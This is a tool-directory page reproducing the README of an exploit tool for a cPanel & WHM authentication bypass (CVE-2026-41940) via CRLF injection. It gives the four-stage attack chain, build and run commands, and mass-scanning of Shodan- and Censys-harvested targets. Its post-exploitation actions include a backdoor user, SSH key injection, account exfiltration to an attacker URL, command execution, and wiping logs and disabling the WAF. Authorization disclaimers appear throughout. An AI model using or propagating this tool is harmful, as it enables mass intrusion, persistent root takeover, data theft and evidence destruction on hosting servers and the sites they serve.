Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41940-Exploit-PoC — Exploit PoC for CVE-2026-41940, a cPanel & WHM authentication bypass via CRLF injection. Includes mass scanning, post-exploitation actions, and an interactive shell for authorized testing. | Kitploit
Tools/GitHubGitHub/ishanoshada/cve-2026-41940-exploit-poc
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed TeamingPayload Development

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
ishanoshada/cve-2026-41940-exploit-poc

CVE-2026-41940-Exploit-PoC

Exploit PoC for CVE-2026-41940, a cPanel & WHM authentication bypass via CRLF injection. Includes mass scanning, post-exploitation actions, and an interactive shell for authorized testing.

View RepositoryWebsite
213 months agoNot yet reviewed

CVE-2026-41940 Exploit PoC – cPanel & WHM Authentication Bypass

CVE-2026-41940 CVSS Go Version License

Tool by: Ishan Oshada | GitHub

⚠️ FOR AUTHORIZED SECURITY TESTING ONLY. Unauthorized use is illegal.

1


📋 Table of Contents

  • Vulnerability Overview
  • Exploit Chain
  • Features
  • Installation
  • Quick Start
  • Usage Examples
  • Post-Exploit Actions
  • Interactive Shell Commands
  • Mass Scanning with urls.txt
  • Output Examples
  • Options Reference
  • Affected Versions
  • Building for All Platforms
  • FAQ & Troubleshooting
  • Disclaimer
  • Author

2

Vulnerability Overview

CVE-2026-41940 is a CRLF injection vulnerability in cPanel & WHM (versions < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).

The saveSession() function writes session data after applying filter_sessiondata(), but the filter is applied too late. By injecting CRLF (\r\n) characters inside the Authorization: Basic header, an attacker can poison the on‑disk session file with arbitrary key‑value pairs (e.g., hasroot=1, tfa_verified=1, user=root).

When the poisoned session is later loaded, cPanel/WHM grants full root access without any password.

CVSS Score: 10.0 (CRITICAL)

  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Confidentiality: High
  • Integrity: High
  • Availability: High

Exploit Chain (4 Stages)


Features

  • ✅ Single & mass scanning (file input, stdin pipe)
  • ✅ Threaded scanning (control concurrency up to 100+ threads)
  • ✅ Verbose mode (--verbose) – shows full HTTP requests/responses
  • ✅ JSON output (auto‑saves when a vulnerable target is found)
  • ✅ 10 post‑exploit actions (see table below)
  • ✅ Cross-platform (Windows, Linux, macOS)
  • ✅ No external dependencies (only Go standard library)
  • ✅ Colourful terminal output with clear boxed results
  • ✅ Session persistence – keep-alive mechanism
  • ✅ Interactive WHM shell with command history

Installation

Prerequisites

  • Go 1.20 or higher (Download)

Clone Repository

root@kitploit:~
git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC

Build Executable

Windows

root@kitploit:~
go build -o cpanel_sniper.exe main.go

Linux / macOS

root@kitploit:~
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper

Run Directly (No Build)

root@kitploit:~
go run main.go -u https://target.com:2087

Pre-built Binaries (Fastest Way)

Instead of building from source, you can download the latest stable executables directly from the repository. These are automatically generated for every update:

Note: If using Linux or macOS, remember to grant execution permissions after downloading:


Quick Start

root@kitploit:~
# Basic scan
go run main.go -u https://target.com:2087

# List all cPanel accounts
go run main.go -u https://target.com:2087 -action list

# Interactive WHM shell
go run main.go -u https://target.com:2087 -action shell

# Mass scan with urls.txt
go run main.go -l urls.txt -t 20 -o results.json

Usage Examples (Table)


Post-Exploit Actions


Interactive Shell Commands

Once inside the shell (-action shell), use these commands:


Mass Scanning with urls.txt

The repository includes urls.txt with 1000 example targets for mass scanning.

urls.txt Format

root@kitploit:~
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...

Mass Scan Commands

root@kitploit:~
# Basic mass scan (10 threads)
go run main.go -l urls.txt

# Fast mass scan (50 threads, save results)
go run main.go -l urls.txt -t 50 -o results.json

# Mass scan with post-exploit action
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json

# Mass scan with verbose output
go run main.go -l urls.txt -t 10 --verbose

# Mass scan with increased timeout (slow networks)
go run main.go -l urls.txt -t 30 -timeout 30

Generate urls.txt Yourself

root@kitploit:~
# Generate IP range (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt

# Generate IP range (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt

# From Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt

# From Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt

Output Examples

Vulnerable Target Found

root@kitploit:~
╔════════════════════════════════════════════════════════════════╗
║                    VULNERABLE TARGET DETECTED                  ║
╠════════════════════════════════════════════════════════════════╣
║ Target: https://target.example.com:2087                        ║
║ Token: /cpsess1234567890                                       ║
║ Version: 11.76.0.22                                            ║
║ Session: :od2aMhg5zJeQunUy...                                  ║
║ API URL: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝

[+] Action: LIST
    • User: admin | Domain: example.com
    • User: backup | Domain: backup.example.com
    • User: client1 | Domain: client1.com

Summary Output

root@kitploit:~
════════════════════════════════════════════════════════════════════
                    SCAN COMPLETE SUMMARY
════════════════════════════════════════════════════════════════════
  Total Targets Scanned: 1000
  Vulnerable Targets: 47
  Time Elapsed: 125.34 seconds

VULNERABLE TARGETS:
────────────────────────────────────────────────────────────────
  1. https://192.168.1.15:2087
      Token: /cpsess1111111111
      Version: 11.76.0.22
      Session: :od2aMhg5zJeQunUy...
  2. https://192.168.1.42:2087
      Token: /cpsess2222222222
      Version: 11.86.0.15
      Session: Km2psnYR9w3rRkLU...
  3. https://example.com:2087
      Token: /cpsess3333333333
      Version: 11.118.0.42
      Session: Xk9mQrNtPw3sVbLm...

════════════════════════════════════════════════════════════════════

[✓] Results saved to: results.json

Options Reference


Affected Versions


Building for All Platforms

Windows

root@kitploit:~
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087

Linux

root@kitploit:~
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087

macOS (Intel)

root@kitploit:~
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

macOS (Apple Silicon M1/M2/M3)

root@kitploit:~
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

Cross-Compile All Platforms

root@kitploit:~
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go

# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go

# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go

Directory Structure

root@kitploit:~
CVE-2026-41940-Exploit-PoC/
├── README.md           # Documentation
├── bin/                # Pre-built multi-platform executables 
│   ├── windows_x64/
│   ├── linux_x64/
│   └── ...
├── main.go             # Main source code
├── urls.txt            # 1000 example targets
├── go.mod              # Go module file
├── .gitignore          # Git ignore file
└── results.json        # Output file (generated)

Disclaimer

This tool is for educational purposes and authorised penetration testing only.

Unauthorised access to computer systems is illegal under:

  • Computer Fraud and Abuse Act (CFAA) - USA
  • Computer Misuse Act - UK
  • Information Technology Act - India
  • Similar laws worldwide

The author assumes no liability for misuse. Use at your own risk.

By using this tool, you agree that you have proper authorisation to test the target systems.


Author

Ishan Oshada

  • 🔗 Website: ishanoshada.com
  • 🐙 GitHub: github.com/ishanoshada
  • 📧 Email: [email protected]

Views

Support

If you find this tool useful:

  • ⭐ Star the repository on GitHub
  • 🔄 Share with security community
  • 📝 Report issues via GitHub Issues

Happy Hacking! 🚀

Remember: With great power comes great responsibility. Use ethically.

Download Tool
StageActionDescription
1POST /login/?login_only=1Request pre‑auth session cookie with wrong credentials
2GET / + CRLF Authorization headerPoison the session file with hasroot=1, user=root, etc.
3GET /scripts2/listacctsForce session cache to reload poisoned file (propagation)
4GET /cpsess<TOKEN>/json-api/versionVerify root access – success = 200 + version data
PlatformLocation
Windows (x64)/bin/windows_x64/cpanel_sniper.exe
Linux (x64)/bin/linux_x64/cpanel_sniper
Linux (ARM64)/bin/linux_arm64/cpanel_sniper
macOS (Intel)/bin/mac_intel/cpanel_sniper
macOS (M1/M2/M3)/bin/mac_m1_m2/cpanel_sniper
#PurposeCommand
1Basic single target scango run main.go -u https://target.com:2087
2List all cPanel accountsgo run main.go -u https://target.com:2087 -action list
3Change root passwordgo run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006"
4Execute system commandgo run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami"
5Get server informationgo run main.go -u https://target.com:2087 -action info
6Create backdoor usergo run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006"
7Create API token (stealthy)go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken
8Inject SSH keygo run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..."
9Dump & exfiltrate accountgo run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload
10Wipe logs & cover tracksgo run main.go -u https://target.com:2087 -action wipe
11Interactive WHM shellgo run main.go -u https://target.com:2087 -action shell
12Mass scan from filego run main.go -l urls.txt -t 20 -o results.json
13Save results to JSONgo run main.go -u https://target.com:2087 -o scan_results.json
14Enable verbose debugginggo run main.go -u https://target.com:2087 --verbose
15Pipe from other toolscat urls.txt | go run main.go -t 20
16Increase timeoutgo run main.go -u https://target.com:2087 -timeout 30
ActionFlagDescriptionStealth Level
list-action listList all cPanel accountsLow
passwd-action passwd -passwd NEWPASSChange root password (noisy)High (detectable)
cmd-action cmd -cmd "id"Execute OS commandsMedium
info-action infoShow hostname, load, versionLow
adduser-action adduser -new-user U -new-domain DCreate backdoor cPanel userMedium
apitoken-action apitoken [-tokenname NAME]Generate persistent API tokenVery Low
sshkey-action sshkey -sshkey "ssh-rsa..."Inject SSH public key into rootVery Low
dumpacct-action dumpacct -dumpuser USER -exfil URLBackup & exfiltrate accountMedium
wipe-action wipeDisable WAF, clear logs, wipe historyCover tracks
shell-action shellInteractive WHM shellLow
CommandDescriptionExample
accountsList all cPanel accountsaccounts
passwd <pass>Change root passwordpasswd MyNewPass123!2006
exec <command>Execute system commandexec "cat /etc/passwd"
infoShow server informationinfo
versionShow cPanel versionversion
helpShow available commandshelp
exitExit shellexit
OptionTypeDefaultDescription
-ustring-Target URL (e.g., https://example.com:2087)
-lstring-File with targets (one per line)
-tint10Number of concurrent threads
-actionstring-Post-exploit action
-passwdstring-New password (for passwd/adduser)
-cmdstring-Command to execute (for cmd action)
-new-userstring-Username for adduser action
-new-domainstring-Domain for adduser action
-tokennamestring-Name for API token (apitoken action)
-sshkeystring-Public SSH key to inject (sshkey action)
-dumpuserstring-Username to backup (dumpacct action)
-exfilstring-Remote URL for exfiltration (dumpacct action)
-ostring-Output JSON file (auto-saves when found)
--verboseboolfalseShow HTTP requests/responses
-hboolfalseShow help menu
BranchPatched VersionVulnerable <
11.11011.110.0.9711.110.0.96
11.11811.118.0.6311.118.0.62
11.12611.126.0.5411.126.0.53
11.13211.132.0.2911.132.0.28
11.13411.134.0.2011.134.0.19
11.13611.136.0.511.136.0.4